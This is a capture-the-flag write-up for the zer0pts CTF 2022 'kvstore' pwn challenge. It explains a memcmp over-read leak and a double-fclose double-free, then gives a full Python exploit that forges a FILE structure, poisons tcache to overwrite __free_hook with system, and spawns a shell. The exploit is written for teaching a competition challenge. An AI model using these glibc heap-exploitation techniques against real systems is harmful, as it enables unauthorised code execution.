# kvstore - zer0pts CTF 2022
###### tags: `zer0pts CTF 2022` `pwn`
Writeups: https://hackmd.io/@ptr-yudai/rJgjygUM9
## Overview
Full protection
```
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
```
The program manages a linked list where the user can store string-double pair in the database.
## Bugs
### Buffer Over-read
The first vulnerability, not obvious though, exists in `item_lookup`.
```c
Item *item_lookup(const char *key, size_t keylen) {
for (Item *cur = top; cur != NULL; cur = cur->next) {
if (memcmp(key, cur->key, keylen) == 0)
return cur; /* Found item */
}
return NULL; /* Item not found */
}
```
`memcmp` is such a weird function. It compares two memory region but only accepts one size. This may cause a buffer over-read easily.
One must compare the size before calling `memcmp`!
You can leak data on the heap by comparing out-of-bounds byte by byte.
### Double fclose
The following code is invalid because the program may keep working even after `fclose` is called.
```c
default: { /* exit */
char ans;
fclose(fp);
if (!is_saved) {
/* Ask when list is not saved */
puts("The latest item list has not been saved yet.");
puts("Would you like to discard the changes? [y/N]");
scanf("%c%*c", &ans);
if (ans != 'y' && ans != 'Y')
break;
}
puts("Bye (^o^)ノシ");
return 0;
}
```
What would happen if we call `fclose` twice?
In short, `fclose` frees the temporary buffer for reading/writing file contents and the FILE structure itself.
So, if we call `fclose` twice, it will cause double-free. However, the size of FILE structure is small enough and it will be linked to tcache once it gets freed. Tcache introduced double-free detection mechanism and we can't simply free it twice.
You can bypass the detection in several ways but the general approach is either of the following:
- Link one into tcache, another into smallbin
- Overwrite tcache key by Use-after-Free
The first option is unavailable in this challenge because you cannot allocate a chunk of the same size as the FILE structure. The second option works in this challenge.
If you try to call `fwrite` with a closed FILE, it recognizes the FILE needs to be initialized and reset the FILE structure. The tcache key is overwritten by `fwrite` so tcache can no longer detect double-free if you call `fclose` after `fwrite`.
### AAF: Arbitrary Address Free Primitive
You can use this fact to free the FILE structure multiple times. It will get linked to unsortedbin if you free it 7 times. Then we can move it to smallbin.
After that, if we allocate a relatively small chunk, the freed FILE structure currently linked to smallbin will be used. So, we gain a primitive to create a fake FILE structure because we still can call `fclose`.
However, FILE structure exploit is no longer available in libc-2.31. How can we exploit it?
The FILE strcture has a pointer to a buffer to keep the part of the file contents to be read/written. This buffer is freed when `fclose` is called. This means we can free arbitrary address if we put a fake pointer there.
Once you get this primitive, it's quite easy to get the shell!
## Exploit
```python=
import os
from ptrlib import *
HOST = os.getenv("HOST", "localhost")
PORT = os.getenv("PORT", "9005")
def add(key, value):
sock.sendlineafter("> ", "1")
sock.sendlineafter("Key: ", key)
sock.sendlineafter("Value: ", str(value))
def get(key):
sock.sendlineafter("> ", "2")
sock.sendlineafter("Key: ", key)
return sock.recvline() != b'Item not found'
def delete(key):
sock.sendlineafter("> ", "3")
sock.sendlineafter("Key: ", key)
def save():
sock.sendlineafter("> ", "4")
def fclose():
sock.sendlineafter("> ", "5")
sock.sendlineafter("[y/N]\n", "n")
libc = ELF("../distfiles/libc-2.31.so")
sock = Socket(HOST, int(PORT))
"""
1. Leak heap/libc address
"""
# (a) Leak heap address
add("B", 3.14)
payload = b'B' + b'\0'*0x77
payload += p64(0x21)
leak = b''
for r in [[0x80],range(256),range(256),range(256),range(256),[0x55,0x56]]:
for c in r:
if not is_getline_safe(chr(c)):
continue
if get(payload + leak + bytes([c])):
logger.info(f"Found: 0x{c:02x}")
leak += bytes([c])
break
else:
logger.warn("Bad luck!")
exit(1)
heap_base = u64(leak) - 0x480
logger.info("heap = " + hex(heap_base))
# (b) Leak libc address
add("X"*0x80, 3.14)
add("Y", 3.14)
add(b"Z"*0x6f8+p64(0x501), 3.14) # fake chunk [Z] to free later
delete("X"*0x80)
delete(b"Z"*0x6f8+p64(0x501))
payload = b'Y' + b'\0'*0x77
payload += p64(0x21)
payload += p64(heap_base + 0xd40) + p64(3.14)
payload += p64(heap_base + 0x500) + p64(0x791)
leak = b''
for r in [[(libc.main_arena() + 0x530) & 0xff], range(256),
range(256), range(256), range(256), [0x7f]]:
for c in r:
if not is_getline_safe(chr(c)):
continue
if get(payload + leak + bytes([c])):
logger.info(f"Found: 0x{c:02x}")
leak += bytes([c])
break
else:
logger.warn("Bad luck!")
exit(1)
libc_base = u64(leak) - libc.main_arena() - 0x530
libc.set_base(libc_base)
add("A"*0x80, 3.14)
"""
2. Get Arbitrary-Address-Free Primitive
"""
## (a) fill tcache for 0x1e0
## (I'm not good at heap stuff. Probably there are some better ways.)
# 1
fclose()
save()
add("nya", 3.14)
delete("nya")
# 2
fclose()
add("0"*0x400, 3.14)
save()
add("nya", 3.14)
delete("nya")
# 3
fclose()
add("0"*0x400, 3.14)
add("0"*0x400, 3.14)
save()
add("nya", 3.14)
delete("nya")
# 4
fclose()
add("0"*0x1000, 3.14)
save()
add("nya", 3.14)
delete("nya")
# 5
fclose()
add("0"*0x1000, 3.14)
save()
add("nya", 3.14)
delete("nya")
# 6
fclose()
add("0"*0x1000, 3.14)
save()
add("nya", 3.14)
delete("nya")
# 7
fclose()
add("0"*0x1000, 3.14)
save()
add("nya", 3.14)
delete("nya")
# unsortedbin
fclose()
# link ^ to smallbin
add("1"*0x1e0, 3.14)
delete("1"*0x1e0)
## (b) Overwrite FILE structure
target = heap_base + 0x1c90 # where to free
payload = flat([
0xfbad2488, target, # 0x00
target, target,
target, target,
target, target,
target, 0,
0, 0,
0, libc.symbol('_IO_2_1_stderr_'),
3, 0,
0, heap_base + 0x290 + 0xf0, # 0x80
-1, 0,
heap_base + 0x290 + 0x100, 0,
0, 0,
-1, 0,
0, libc_base + 0x1e94a0 # _IO_file_jumps
], map=p64)
add(payload, 3.14)
fclose() # free [Z]
"""
3. tcache poisoning
"""
delete(p64(heap_base + 0x3d50))
payload = b"R"*0x88 + p64(0x21)
payload += p64(libc.symbol("__free_hook") - 8)
payload += b"R"*0x50
payload += p64(0x21)
payload += p64(heap_base) + p64(1.23)
payload += p64(0) + b'\x21'
get(payload)
add("S", 3.14)
add("T", u64(p64(libc.symbol("system")), type=float))
## win!
delete("/bin/sh")
sock.interactive()
```